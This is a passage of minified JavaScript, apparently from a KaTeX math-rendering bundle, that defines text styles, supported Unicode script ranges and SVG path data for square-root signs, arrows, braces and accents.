this.size>=2}},oA=0,x3=1,k0=2,hu=3,jy=4,Ao=5,E0=6,ts=7,Kl=[new jl(oA,0,!1),new jl(x3,0,!0),new jl(k0,1,!1),new jl(hu,1,!0),new jl(jy,2,!1),new jl(Ao,2,!0),new jl(E0,3,!1),new jl(ts,3,!0)],rTe=[jy,Ao,jy,Ao,E0,ts,E0,ts],nTe=[Ao,Ao,Ao,Ao,ts,ts,ts,ts],iTe=[k0,hu,jy,Ao,E0,ts,E0,ts],aTe=[hu,hu,Ao,Ao,ts,ts,ts,ts],sTe=[x3,x3,hu,hu,Ao,Ao,ts,ts],oTe=[oA,x3,k0,hu,k0,hu,k0,hu],nr={DISPLAY:Kl[oA],TEXT:Kl[k0],SCRIPT:Kl[jy],SCRIPTSCRIPT:Kl[E0]},j7=[{name:"latin",blocks:[[256,591],[768,879]]},{name:"cyrillic",blocks:[[1024,1279]]},{name:"armenian",blocks:[[1328,1423]]},{name:"brahmic",blocks:[[2304,4255]]},{name:"georgian",blocks:[[4256,4351]]},{name:"cjk",blocks:[[12288,12543],[19968,40879],[65280,65376]]},{name:"hangul",blocks:[[44032,55215]]}];o(lTe,"scriptFromCodepoint");v3=[];j7.forEach(t=>t.blocks.forEach(e=>v3.push(...e)));o(YV,"supportedCodepoint");w0=80,cTe=o(function(e,r){return"M95,"+(622+e+r)+` +c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14 +c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54 +c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10 +s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429 +c69,-144,104.5,-217.7,106.5,-221 +l`+e/2.075+" -"+e+` +c5.3,-9.3,12,-14,20,-14 +H400000v`+(40+e)+`H845.2724 +s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7 +c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47z +M`+(834+e)+" "+r+"h400000v"+(40+e)+"h-400000z"},"sqrtMain"),uTe=o(function(e,r){return"M263,"+(601+e+r)+`c0.7,0,18,39.7,52,119 +c34,79.3,68.167,158.7,102.5,238c34.3,79.3,51.8,119.3,52.5,120 +c340,-704.7,510.7,-1060.3,512,-1067 +l`+e/2.084+" -"+e+` +c4.7,-7.3,11,-11,19,-11 +H40000v`+(40+e)+`H1012.3 +s-271.3,567,-271.3,567c-38.7,80.7,-84,175,-136,283c-52,108,-89.167,185.3,-111.5,232 +c-22.3,46.7,-33.8,70.3,-34.5,71c-4.7,4.7,-12.3,7,-23,7s-12,-1,-12,-1 +s-109,-253,-109,-253c-72.7,-168,-109.3,-252,-110,-252c-10.7,8,-22,16.7,-34,26 +c-22,17.3,-33.3,26,-34,26s-26,-26,-26,-26s76,-59,76,-59s76,-60,76,-60z +M`+(1001+e)+" "+r+"h400000v"+(40+e)+"h-400000z"},"sqrtSize1"),hTe=o(function(e,r){return"M983 "+(10+e+r)+` +l`+e/3.13+" -"+e+` +c4,-6.7,10,-10,18,-10 H400000v`+(40+e)+` +H1013.1s-83.4,268,-264.1,840c-180.7,572,-277,876.3,-289,913c-4.7,4.7,-12.7,7,-24,7 +s-12,0,-12,0c-1.3,-3.3,-3.7,-11.7,-7,-25c-35.3,-125.3,-106.7,-373.3,-214,-744 +c-10,12,-21,25,-33,39s-32,39,-32,39c-6,-5.3,-15,-14,-27,-26s25,-30,25,-30 +c26.7,-32.7,52,-63,76,-91s52,-60,52,-60s208,722,208,722 +c56,-175.3,126.3,-397.3,211,-666c84.7,-268.7,153.8,-488.2,207.5,-658.5 +c53.7,-170.3,84.5,-266.8,92.5,-289.5z +M`+(1001+e)+" "+r+"h400000v"+(40+e)+"h-400000z"},"sqrtSize2"),fTe=o(function(e,r){return"M424,"+(2398+e+r)+` +c-1.3,-0.7,-38.5,-172,-111.5,-514c-73,-342,-109.8,-513.3,-110.5,-514 +c0,-2,-10.7,14.3,-32,49c-4.7,7.3,-9.8,15.7,-15.5,25c-5.7,9.3,-9.8,16,-12.5,20 +s-5,7,-5,7c-4,-3.3,-8.3,-7.7,-13,-13s-13,-13,-13,-13s76,-122,76,-122s77,-121,77,-121 +s209,968,209,968c0,-2,84.7,-361.7,254,-1079c169.3,-717.3,254.7,-1077.7,256,-1081 +l`+e/4.223+" -"+e+`c4,-6.7,10,-10,18,-10 H400000 +v`+(40+e)+`H1014.6 +s-87.3,378.7,-272.6,1166c-185.3,787.3,-279.3,1182.3,-282,1185 +c-2,6,-10,9,-24,9 +c-8,0,-12,-0.7,-12,-2z M`+(1001+e)+" "+r+` +h400000v`+(40+e)+"h-400000z"},"sqrtSize3"),dTe=o(function(e,r){return"M473,"+(2713+e+r)+` +c339.3,-1799.3,509.3,-2700,510,-2702 l`+e/5.298+" -"+e+` +c3.3,-7.3,9.3,-11,18,-11 H400000v`+(40+e)+`H1017.7 +s-90.5,478,-276.2,1466c-185.7,988,-279.5,1483,-281.5,1485c-2,6,-10,9,-24,9 +c-8,0,-12,-0.7,-12,-2c0,-1.3,-5.3,-32,-16,-92c-50.7,-293.3,-119.7,-693.3,-207,-1200 +c0,-1.3,-5.3,8.7,-16,30c-10.7,21.3,-21.3,42.7,-32,64s-16,33,-16,33s-26,-26,-26,-26 +s76,-153,76,-153s77,-151,77,-151c0.7,0.7,35.7,202,105,604c67.3,400.7,102,602.7,104, +606zM`+(1001+e)+" "+r+"h400000v"+(40+e)+"H1017.7z"},"sqrtSize4"),pTe=o(function(e){var r=e/2;return"M400000 "+e+" H0 L"+r+" 0 l65 45 L145 "+(e-80)+" H400000z"},"phasePath"),mTe=o(function(e,r,n){var i=n-54-r-e;return"M702 "+(e+r)+"H400000"+(40+e)+` +H742v`+i+`l-4 4-4 4c-.667.7 -2 1.5-4 2.5s-4.167 1.833-6.5 2.5-5.5 1-9.5 1 +h-12l-28-84c-16.667-52-96.667 -294.333-240-727l-212 -643 -85 170 +c-4-3.333-8.333-7.667-13 -13l-13-13l77-155 77-156c66 199.333 139 419.667 +219 661 l218 661zM702 `+r+"H400000v"+(40+e)+"H742z"},"sqrtTall"),gTe=o(function(e,r,n){r=1e3*r;var i="";switch(e){case"sqrtMain":i=cTe(r,w0);break;case"sqrtSize1":i=uTe(r,w0);break;case"sqrtSize2":i=hTe(r,w0);break;case"sqrtSize3":i=fTe(r,w0);break;case"sqrtSize4":i=dTe(r,w0);break;case"sqrtTall":i=mTe(r,w0,n)}return i},"sqrtPath"),yTe=o(function(e,r){switch(e){case"\u239C":return"M291 0 H417 V"+r+" H291z M291 0 H417 V"+r+" H291z";case"\u2223":return"M145 0 H188 V"+r+" H145z M145 0 H188 V"+r+" H145z";case"\u2225":return"M145 0 H188 V"+r+" H145z M145 0 H188 V"+r+" H145z"+("M367 0 H410 V"+r+" H367z M367 0 H410 V"+r+" H367z");case"\u239F":return"M457 0 H583 V"+r+" H457z M457 0 H583 V"+r+" H457z";case"\u23A2":return"M319 0 H403 V"+r+" H319z M319 0 H403 V"+r+" H319z";case"\u23A5":return"M263 0 H347 V"+r+" H263z M263 0 H347 V"+r+" H263z";case"\u23AA":return"M384 0 H504 V"+r+" H384z M384 0 H504 V"+r+" H384z";case"\u23D0":return"M312 0 H355 V"+r+" H312z M312 0 H355 V"+r+" H312z";case"\u2016":return"M257 0 H300 V"+r+" H257z M257 0 H300 V"+r+" H257z"+("M478 0 H521 V"+r+" H478z M478 0 H521 V"+r+" H478z");default:return""}},"innerPath"),mV={doubleleftarrow:`M262 157 +l10-10c34-36 62.7-77 86-123 3.3-8 5-13.3 5-16 0-5.3-6.7-8-20-8-7.3 + 0-12.2.5-14.5 1.5-2.3 1-4.8 4.5-7.5 10.5-49.3 97.3-121.7 169.3-217 216-28 + 14-57.3 25-88 33-6.7 2-11 3.8-13 5.5-2 1.7-3 4.2-3 7.5s1 5.8 3 7.5 +c2 1.7 6.3 3.5 13 5.5 68 17.3 128.2 47.8 180.5 91.5 52.3 43.7 93.8 96.2 124.5 + 157.5 9.3 8 15.3 12.3 18 13h6c12-.7 18-4 18-10 0-2-1.7-7-5-15-23.3-46-52-87 +-86-123l-10-10h399738v-40H218c328 0 0 0 0 0l-10-8c-26.7-20-65.7-43-117-69 2.7 +-2 6-3.7 10-5 36.7-16 72.3-37.3 107-64l10-8h399782v-40z +m8 0v40h399730v-40zm0 194v40h399730v-40z`,doublerightarrow:`M399738 392l +-10 10c-34 36-62.7 77-86 123-3.3 8-5 13.3-5 16 0 5.3 6.7 8 20 8 7.3 0 12.2-.5 + 14.5-1.5 2.3-1 4.8-4.5 7.5-10.5 49.3-97.3 121.7-169.3 217-216 28-14 57.3-25 88 +-33 6.7-2 11-3.8 13-5.5 2-1.7 3-4.2 3-7.5s-1-5.8-3-7.5c-2-1.7-6.3-3.5-13-5.5-68 +-17.3-128.2-47.8-180.5-91.5-52.3-43.7-93.8-96.2-124.5-157.5-9.3-8-15.3-12.3-18 +-13h-6c-12 .7-18 4-18 10 0 2 1.7 7 5 15 23.3 46 52 87 86 123l10 10H0v40h399782 +c-328 0 0 0 0 0l10 8c26.7 20 65.7 43 117 69-2.7 2-6 3.7-10 5-36.7 16-72.3 37.3 +-107 64l-10 8H0v40zM0 157v40h399730v-40zm0 194v40h399730v-40z`,leftarrow:`M400000 241H110l3-3c68.7-52.7 113.7-120 + 135-202 4-14.7 6-23 6-25 0-7.3-7-11-21-11-8 0-13.2.8-15.5 2.5-2.3 1.7-4.2 5.8 +-5.5 12.5-1.3 4.7-2.7 10.3-4 17-12 48.7-34.8 92-68.5 130S65.3 228.3 18 247 +c-10 4-16 7.7-18 11 0 8.7 6 14.3 18 17 47.3 18.7 87.8 47 121.5 85S196 441.3 208 + 490c.7 2 1.3 5 2 9s1.2 6.7 1.5 8c.3 1.3 1 3.3 2 6s2.2 4.5 3.5 5.5c1.3 1 3.3 + 1.8 6 2.5s6 1 10 1c14 0 21-3.7 21-11 0-2-2-10.3-6-25-20-79.3-65-146.7-135-202 + l-3-3h399890zM100 241v40h399900v-40z`,leftbrace:`M6 548l-6-6v-35l6-11c56-104 135.3-181.3 238-232 57.3-28.7 117 +-45 179-50h399577v120H403c-43.3 7-81 15-113 26-100.7 33-179.7 91-237 174-2.7 + 5-6 9-10 13-.7 1-7.3 1-20 1H6z`,leftbraceunder:`M0 6l6-6h17c12.688 0 19.313.3 20 1 4 4 7.313 8.3 10 13 + 35.313 51.3 80.813 93.8 136.5 127.5 55.688 33.7 117.188 55.8 184.5 66.5.688 + 0 2 .3 4 1 18.688 2.7 76 4.3 172 5h399450v120H429l-6-1c-124.688-8-235-61.7 +-331-161C60.687 138.7 32.312 99.3 7 54L0 41V6z`,leftgroup:`M400000 80 +H435C64 80 168.3 229.4 21 260c-5.9 1.2-18 0-18 0-2 0-3-1-3-3v-38C76 61 257 0 + 435 0h399565z`,leftgroupunder:`M400000 262 +H435C64 262 168.3 112.6 21 82c-5.9-1.2-18 0-18 0-2 0-3 1-3 3v38c76 158 257 219 + 435 219h399565z`,leftharpoon:`M0 267c.7 5.3 3 10 7 14h399993v-40H93c3.3 +-3.3 10.2-9.5 20.5-18.5s17.8-15.8 22.5-20.5c50.7-52 88-110.3 112-175 4-11.3 5 +-18.3 3-21-1.3-4-7.3-6-18-6-8 0-13 .7-15 2s-4.7 6.7-8 16c-42 98.7-107.3 174.7 +-196 228-6.7 4.7-10.7 8-12 10-1.3 2-2 5.7-2 11zm100-26v40h399900v-40z`,leftharpoonplus:`M0 267c.7 5.3 3 10 7 14h399993v-40H93c3.3-3.3 10.2-9.5 + 20.5-18.5s17.8-15.8 22.5-20.5c50.7-52 88-110.3 112-175 4-11.3 5-18.3 3-21-1.3 +-4-7.3-6-18-6-8 0-13 .7-15 2s-4.7 6.7-8 16c-42 98.7-107.3 174.7-196 228-6.7 4.7 +-10.7 8-12 10-1.3 2-2 5.7-2 11zm100-26v40h399900v-40zM0 435v40h400000v-40z +m0 0v40h400000v-40z`,leftharpoondown:`M7 241c-4 4-6.333 8.667-7 14 0 5.333.667 9 2 11s5.333 + 5.333 12 10c90.667 54 156 130 196 228 3.333 10.667 6.333 16.333 9 17 2 .667 5 + 1 9 1h5c10.667 0 16.667-2 18-6 2-2.667 1-9.667-3-21-32-87.333-82.667-157.667 +-152-211l-3-3h399907v-40zM93 281 H400000 v-40L7 241z`,leftharpoondownplus:`M7 435c-4 4-6.3 8.7-7 14 0 5.3.7 9 2 11s5.3 5.3 12 + 10c90.7 54 156 130 196 228 3.3 10.7 6.3 16.3 9 17 2 .7 5 1 9 1h5c10.7 0 16.7 +-2 18-6 2-2.7 1-9.7-3-21-32-87.3-82.7-157.7-152-211l-3-3h399907v-40H7zm93 0 +v40h399900v-40zM0 241v40h399900v-40zm0 0v40h399900v-40z`,lefthook:`M400000 281 H103s-33-11.2-61-33.5S0 197.3 0 164s14.2-61.2 42.5 +-83.5C70.8 58.2 104 47 142 47 c16.7 0 25 6.7 25 20 0 12-8.7 18.7-26 20-40 3.3 +-68.7 15.7-86 37-10 12-15 25.3-15 40 0 22.7 9.8 40.7 29.5 54 19.7 13.3 43.5 21 + 71.5 23h399859zM103 281v-40h399897v40z`,leftlinesegment:`M40 281 V428 H0 V94 H40 V241 H400000 v40z +M40 281 V428 H0 V94 H40 V241 H400000 v40z`,leftmapsto:`M40 281 V448H0V74H40V241H400000v40z +M40 281 V448H0V74H40V241H400000v40z`,leftToFrom:`M0 147h400000v40H0zm0 214c68 40 115.7 95.7 143 167h22c15.3 0 23 +-.3 23-1 0-1.3-5.3-13.7-16-37-18-35.3-41.3-69-70-101l-7-8h399905v-40H95l7-8 +c28.7-32 52-65.7 70-101 10.7-23.3 16-35.7 16-37 0-.7-7.7-1-23-1h-22C115.7 265.3 + 68 321 0 361zm0-174v-40h399900v40zm100 154v40h399900v-40z`,longequal:`M0 50 h400000 v40H0z m0 194h40000v40H0z +M0 50 h400000 v40H0z m0 194h40000v40H0z`,midbrace:`M200428 334 +c-100.7-8.3-195.3-44-280-108-55.3-42-101.7-93-139-153l-9-14c-2.7 4-5.7 8.7-9 14 +-53.3 86.7-123.7 153-211 199-66.7 36-137.3 56.3-212 62H0V214h199568c178.3-11.7 + 311.7-78.3 403-201 6-8 9.7-12 11-12 .7-.7 6.7-1 18-1s17.3.3 18 1c1.3 0 5 4 11 + 12 44.7 59.3 101.3 106.3 170 141s145.3 54.3 229 60h199572v120z`,midbraceunder:`M199572 214 +c100.7 8.3 195.3 44 280 108 55.3 42 101.7 93 139 153l9 14c2.7-4 5.7-8.7 9-14 + 53.3-86.7 123.7-153 211-199 66.7-36 137.3-56.3 212-62h199568v120H200432c-178.3 + 11.7-311.7 78.3-403 201-6 8-9.7 12-11 12-.7.7-6.7 1-18 1s-17.3-.3-18-1c-1.3 0 +-5-4-11-12-44.7-59.3-101.3-106.3-170-141s-145.3-54.3-229-60H0V214z`,oiintSize1:`M512.6 71.6c272.6 0 320.3 106.8 320.3 178.2 0 70.8-47.7 177.6 +-320.3 177.6S193.1 320.6 193.1 249.8c0-71.4 46.9-178.2 319.5-178.2z +m368.1 178.2c0-86.4-60.9-215.4-368.1-215.4-306.4 0-367.3 129-367.3 215.4 0 85.8 +60.9 214.8 367.3 214.8 307.2 0 368.1-129 368.1-214.8z`,oiintSize2:`M757.8 100.1c384.7 0 451.1 137.6 451.1 230 0 91.3-66.4 228.8 +-451.1 228.8-386.3 0-452.7-137.5-452.7-228.8 0-92.4 66.4-230 452.7-230z +m502.4 230c0-111.2-82.4-277.2-502.4-277.2s-504 166-504 277.2 +c0 110 84 276 504 276s502.4-166 502.4-276z`,oiiintSize1:`M681.4 71.6c408.9 0 480.5 106.8 480.5 178.2 0 70.8-71.6 177.6 +-480.5 177.6S202.1 320.6 202.1 249.8c0-71.4 70.5-178.2 479.3-178.2z +m525.8 178.2c0-86.4-86.8-215.4-525.7-215.4-437.9 0-524.7 129-524.7 215.4 0 +85.8 86.8 214.8 524.7 214.8 438.9 0 525.7-129 525.7-214.8z`,oiiintSize2:`M1021.2 53c603.6 0 707.8 165.8 707.8 277.2 0 110-104.2 275.8 +-707.8 275.8-606 0-710.2-165.8-710.2-275.8C311 218.8 415.2 53 1021.2 53z +m770.4 277.1c0-131.2-126.4-327.6-770.5-327.6S248.4 198.9 248.4 330.1 +c0 130 128.8 326.4 772.7 326.4s770.5-196.4 770.5-326.4z`,rightarrow:`M0 241v40h399891c-47.3 35.3-84 78-110 128 +-16.7 32-27.7 63.7-33 95 0 1.3-.2 2.7-.5 4-.3 1.3-.5 2.3-.5 3 0 7.3 6.7 11 20 + 11 8 0 13.2-.8 15.5-2.5 2.3-1.7 4.2-5.5 5.5-11.5 2-13.3 5.7-27 11-41 14.7-44.7 + 39-84.5 73-119.5s73.7-60.2 119-75.5c6-2 9-5.7 9-11s-3-9-9-11c-45.3-15.3-85 +-40.5-119-75.5s-58.3-74.8-73-119.5c-4.7-14-8.3-27.3-11-40-1.3-6.7-3.2-10.8-5.5 +-12.5-2.3-1.7-7.5-2.5-15.5-2.5-14 0-21 3.7-21 11 0 2 2 10.3 6 25 20.7 83.3 67 + 151.7 139 205zm0 0v40h399900v-40z`,rightbrace:`M400000 542l +-6 6h-17c-12.7 0-19.3-.3-20-1-4-4-7.3-8.3-10-13-35.3-51.3-80.8-93.8-136.5-127.5 +s-117.2-55.8-184.5-66.5c-.7 0-2-.3-4-1-18.7-2.7-76-4.3-172-5H0V214h399571l6 1 +c124.7 8 235 61.7 331 161 31.3 33.3 59.7 72.7 85 118l7 13v35z`,rightbraceunder:`M399994 0l6 6v35l-6 11c-56 104-135.3 181.3-238 232-57.3 + 28.7-117 45-179 50H-300V214h399897c43.3-7 81-15 113-26 100.7-33 179.7-91 237 +-174 2.7-5 6-9 10-13 .7-1 7.3-1 20-1h17z`,rightgroup:`M0 80h399565c371 0 266.7 149.4 414 180 5.9 1.2 18 0 18 0 2 0 + 3-1 3-3v-38c-76-158-257-219-435-219H0z`,rightgroupunder:`M0 262h399565c371 0 266.7-149.4 414-180 5.9-1.2 18 0 18 + 0 2 0 3 1 3 3v38c-76 158-257 219-435 219H0z`,rightharpoon:`M0 241v40h399993c4.7-4.7 7-9.3 7-14 0-9.3 +-3.7-15.3-11-18-92.7-56.7-159-133.7-199-231-3.3-9.3-6-14.7-8-16-2-1.3-7-2-15-2 +-10.7 0-16.7 2-18 6-2 2.7-1 9.7 3 21 15.3 42 36.7 81.8 64 119.5 27.3 37.7 58 + 69.2 92 94.5zm0 0v40h399900v-40z`,rightharpoonplus:`M0 241v40h399993c4.7-4.7 7-9.3 7-14 0-9.3-3.7-15.3-11 +-18-92.7-56.7-159-133.7-199-231-3.3-9.3-6-14.7-8-16-2-1.3-7-2-15-2-10.7 0-16.7 + 2-18 6-2 2.7-1 9.7 3 21 15.3 42 36.7 81.8 64 119.5 27.3 37.7 58 69.2 92 94.5z +m0 0v40h399900v-40z m100 194v40h399900v-40zm0 0v40h399900v-40z`,rightharpoondown:`M399747 511c0 7.3 6.7 11 20 11 8 0 13-.8 15-2.5s4.7-6.8 + 8-15.5c40-94 99.3-166.3 178-217 13.3-8 20.3-12.3 21-13 5.3-3.3 8.5-5.8 9.5 +-7.5 1-1.7 1.5-5.2 1.5-10.5s-2.3-10.3-7-15H0v40h399908c-34 25.3-64.7 57-92 95 +-27.3 38-48.7 77.7-64 119-3.3 8.7-5 14-5 16zM0 241v40h399900v-40z`,rightharpoondownplus:`M399747 705c0 7.3 6.7 11 20 11 8 0 13-.8 + 15-2.5s4.7-6.8 8-15.5c40-94 99.3-166.3 178-217 13.3-8 20.3-12.3 21-13 5.3-3.3 + 8.5-5.8 9.5-7.5 1-1.7 1.5-5.2 1.5-10.5s-2.3-10.3-7-15H0v40h399908c-34 25.3 +-64.7 57-92 95-27.3 38-48.7 77.7-64 119-3.3 8.7-5 14-5 16zM0 435v40h399900v-40z +m0-194v40h400000v-40zm0 0v40h400000v-40z`,righthook:`M399859 241c-764 0 0 0 0 0 40-3.3 68.7-15.7 86-37 10-12 15-25.3 + 15-40 0-22.7-9.8-40.7-29.5-54-19.7-13.3-43.5-21-71.5-23-17.3-1.3-26-8-26-20 0 +-13.3 8.7-20 26-20 38 0 71 11.2 99 33.5 0 0 7 5.6 21 16.7 14 11.2 21 33.5 21 + 66.8s-14 61.2-42 83.5c-28 22.3-61 33.5-99 33.5L0 241z M0 281v-40h399859v40z`,rightlinesegment:`M399960 241 V94 h40 V428 h-40 V281 H0 v-40z +M399960 241 V94 h40 V428 h-40 V281 H0 v-40z`,rightToFrom:`M400000 167c-70.7-42-118-97.7-142-167h-23c-15.3 0-23 .3-23 + 1 0 1.3 5.3 13.7 16 37 18 35.3 41.3 69 70 101l7 8H0v40h399905l-7 8c-28.7 32 +-52 65.7-70 101-10.7 23.3-16 35.7-16 37 0 .7 7.7 1 23 1h23c24-69.3 71.3-125 142 +-167z M100 147v40h399900v-40zM0 341v40h399900v-40z`,twoheadleftarrow:`M0 167c68 40 + 115.7 95.7 143 167h22c15.3 0 23-.3 23-1 0-1.3-5.3-13.7-16-37-18-35.3-41.3-69 +-70-101l-7-8h125l9 7c50.7 39.3 85 86 103 140h46c0-4.7-6.3-18.7-19-42-18-35.3 +-40-67.3-66-96l-9-9h399716v-40H284l9-9c26-28.7 48-60.7 66-96 12.7-23.333 19 +-37.333 19-42h-46c-18 54-52.3 100.7-103 140l-9 7H95l7-8c28.7-32 52-65.7 70-101 + 10.7-23.333 16-35.7 16-37 0-.7-7.7-1-23-1h-22C115.7 71.3 68 127 0 167z`,twoheadrightarrow:`M400000 167 +c-68-40-115.7-95.7-143-167h-22c-15.3 0-23 .3-23 1 0 1.3 5.3 13.7 16 37 18 35.3 + 41.3 69 70 101l7 8h-125l-9-7c-50.7-39.3-85-86-103-140h-46c0 4.7 6.3 18.7 19 42 + 18 35.3 40 67.3 66 96l9 9H0v40h399716l-9 9c-26 28.7-48 60.7-66 96-12.7 23.333 +-19 37.333-19 42h46c18-54 52.3-100.7 103-140l9-7h125l-7 8c-28.7 32-52 65.7-70 + 101-10.7 23.333-16 35.7-16 37 0 .7 7.7 1 23 1h22c27.3-71.3 75-127 143-167z`,tilde1:`M200 55.538c-77 0-168 73.953-177 73.953-3 0-7 +-2.175-9-5.437L2 97c-1-2-2-4-2-6 0-4 2-7 5-9l20-12C116 12 171 0 207 0c86 0 + 114 68 191 68 78 0 168-68 177-68 4 0 7 2 9 5l12 19c1 2.175 2 4.35 2 6.525 0 + 4.35-2 7.613-5 9.788l-19 13.05c-92 63.077-116.937 75.308-183 76.128 +-68.267.847-113-73.952-191-73.952z`,tilde2:`M344 55.266c-142 0-300.638 81.316-311.5 86.418 +-8.01 3.762-22.5 10.91-23.5 5.562L1 120c-1-2-1-3-1-4 0-5 3-9 8-10l18.4-9C160.9 + 31.9 283 0 358 0c148 0 188 122 331 122s314-97 326-97c4 0 8 2 10 7l7 21.114 +c1 2.14 1 3.21 1 4.28 0 5.347-3 9.626-7 10.696l-22.3 12.622C852.6 158.372 751 + 181.476 676 181.476c-149 0-189-126.21-332-126.21z`,tilde3:`M786 59C457 59 32 175.242 13 175.242c-6 0-10-3.457 +-11-10.37L.15 138c-1-7 3-12 10-13l19.2-6.4C378.4 40.7 634.3 0 804.3 0c337 0 + 411.8 157 746.8 157 328 0 754-112 773-112 5 0 10 3 11 9l1 14.075c1 8.066-.697 + 16.595-6.697 17.492l-21.052 7.31c-367.9 98.146-609.15 122.696-778.15 122.696 + -338 0-409-156.573-744-156.573z`,tilde4:`M786 58C457 58 32 177.487 13 177.487c-6 0-10-3.345 +-11-10.035L.15 143c-1-7 3-12 10-13l22-6.7C381.2 35 637.15 0 807.15 0c337 0 409 + 177 744 177 328 0 754-127 773-127 5 0 10 3 11 9l1 14.794c1 7.805-3 13.38-9 + 14.495l-20.7 5.574c-366.85 99.79-607.3 139.372-776.3 139.372-338 0-409 + -175.236-744-175.236z`,vec:`M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5 +3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11 +10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63 +-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1 +-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59 +H213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359 +c-16-25.333-24-45-24-59z`,widehat1:`M529 0h5l519 115c5 1 9 5 9 10 0 1-1 2-1 3l-4 22 +c-1 5-5 9-11 9h-2L532 67 19 159h-2c-5 0-9-4-11-9l-5-22c-1-6 2-12 8-13z`,widehat2:`M1181 0h2l1171 176c6 0 10 5 10 11l-2 23c-1 6-5 10 +-11 10h-1L1182 67 15 220h-1c-6 0-10-4-11-10l-2-23c-1-6 4-11 10-11z`,widehat3:`M1181 0h2l1171 236c6 0 10 5 10 11l-2 23c-1 6-5 10 +-11 10h-1L1182 67 15 280h-1c-6 0-10-4-11-10l-2-23c-1-6 4-11 10-11z`,widehat4:`M1181 0h2l1171 296c6 0 10 5 10 11l-2 23c-1 6-5 10 +-11 10h-1L1182 67 15 340h-1c-6 0-10-4-11-10l-2-23c-1-6 4-11 10-11z`,widecheck1:`M529,159h5l519,-115c5,-1,9,-5,9,-10c0,-1,-1,-2,-1,-3l-4,-22c-1, +-5,-5,-9,-11,-9h-2l-512,92l-513,-92h-2c-5,0,-9,4,-11,9l-5,22c-1,6,2,12,8,13z`,widecheck2:`M1181,220h2l1171,-176c6,0,10,-5,10,-11l-2,-23c-1,-6,-5,-10, +-11,-10h-1l-1168,153l-1167,-153h-1c-6,0,-10,4,-11,10l-2,23c-1,6,4,11,10,11z`,widecheck3:`M1181,280h2l1171,-236c6,0,10,-5,10,-11l-2,-23c-1,-6,-5,-10, +-11,-10h-1l-1168,213l-1167,-213h-1c-6,0,-10,4,-11,10l-2,23c-1,6,4,11,10,11z`,widecheck4:`M1181,340h2l1171,-296c6,0,10,-5,10,-11l-2,-23c-1,-6,-5,-10, +-11,-10h-1l-1168,273l-1167,-273h-1c-6,0,-10,4,-11,10l-2,23c-1,6,4,11,10,11z`,baraboveleftarrow:`M400000 620h-399890l3 -3c68.7 -52.7 113.7 -120 135 -202 +c4 -14.7 6 -23 6 -25c0 -7.3 -7 -11 -21 -11c-8 0 -13.2 0.8 -15.5 2.5 +c-2.3 1.7 -4.2 5.8 -5.5 12.5c-1.3 4.7 -2.7 10.3 -4 17c-12 48.7 -34.8 92 -68.5 130 +s-74.2 66.3 -121.5 85c-10 4 -16 7.7 -18 11c0 8.7 6 14.3 18 17c47.3 18.7 87.8 47 +121.5 85s56.5 81.3 68.5 130c0.7 2 1.3 5 2 9s1.2 6.7 1.5 8c0.3 1.3 1 3.3 2 6 +s2.2 4.5 3.5 5.5c1.3 1 3.3 1.8 6 2.5s6 1 10 1c14 0 21 -3.7 21 -11 +c0 -2 -2 -10.3 -6 -25c-20 -79.3 -65 -146.7 -135 -202l-3 -3h399890z +M100 620v40h399900v-40z M0 241v40h399900v-40zM0 241v40h399900v-40z`,rightarrowabovebar:`M0 241v40h399891c-47.3 35.3-84 78-110 128-16.7 32 +-27.7 63.7-33 95 0 1.3-.2 2.7-.5 4-.3 1.3-.5 2.3-.5 3 0 7.3 6.7 11 20 11 8 0 +13.2-.8 15.5-2.5 2.3-1.7 4.2-5.5 5.5-11.5 2-13.3 5.7-27 11-41 14.7-44.7 39 +-84.5 73-119.5s73.7-60.2 119-75.5c6-2 9-5.7 9-11s-3-9-9-11c-45.3-15.3-85-40.5 +-119-75.5s-58.3-74.8-73-119.5c-4.7-14-8.3-27.3-11-40-1.3-6.7-3.2-10.8-5.5 +-12.5-2.3-1.7-7.5-2.5-15.5-2.5-14 0-21 3.7-21 11 0 2 2 10.3 6 25 20.7 83.3 67 +151.7 139 205zm96 379h399894v40H0zm0 0h399904v40H0z`,baraboveshortleftharpoon:`M507,435c-4,4,-6.3,8.7,-7,14c0,5.3,0.7,9,2,11 +c1.3,2,5.3,5.3,12,10c90.7,54,156,130,196,228c3.3,10.7,6.3,16.3,9,17 +c2,0.7,5,1,9,1c0,0,5,0,5,0c10.7,0,16.7,-2,18,-6c2,-2.7,1,-9.7,-3,-21 +c-32,-87.3,-82.7,-157.7,-152,-211c0,0,-3,-3,-3,-3l399351,0l0,-40 +c-398570,0,-399437,0,-399437,0z M593 435 v40 H399500 v-40z +M0 281 v-40 H399908 v40z M0 281 v-40 H399908 v40z`,rightharpoonaboveshortbar:`M0,241 l0,40c399126,0,399993,0,399993,0 +c4.7,-4.7,7,-9.3,7,-14c0,-9.3,-3.7,-15.3,-11,-18c-92.7,-56.7,-159,-133.7,-199, +-231c-3.3,-9.3,-6,-14.7,-8,-16c-2,-1.3,-7,-2,-15,-2c-10.7,0,-16.7,2,-18,6 +c-2,2.7,-1,9.7,3,21c15.3,42,36.7,81.8,64,119.5c27.3,37.7,58,69.2,92,94.5z +M0 241 v40 H399908 v-40z M0 475 v-40 H399500 v40z M0 475 v-40 H399500 v40z`,shortbaraboveleftharpoon:`M7,435c-4,4,-6.3,8.7,-7,14c0,5.3,0.7,9,2,11 +c1.3,2,5.3,5.3,12,10c90.7,54,156,130,196,228c3.3,10.7,6.3,16.3,9,17c2,0.7,5,1,9, 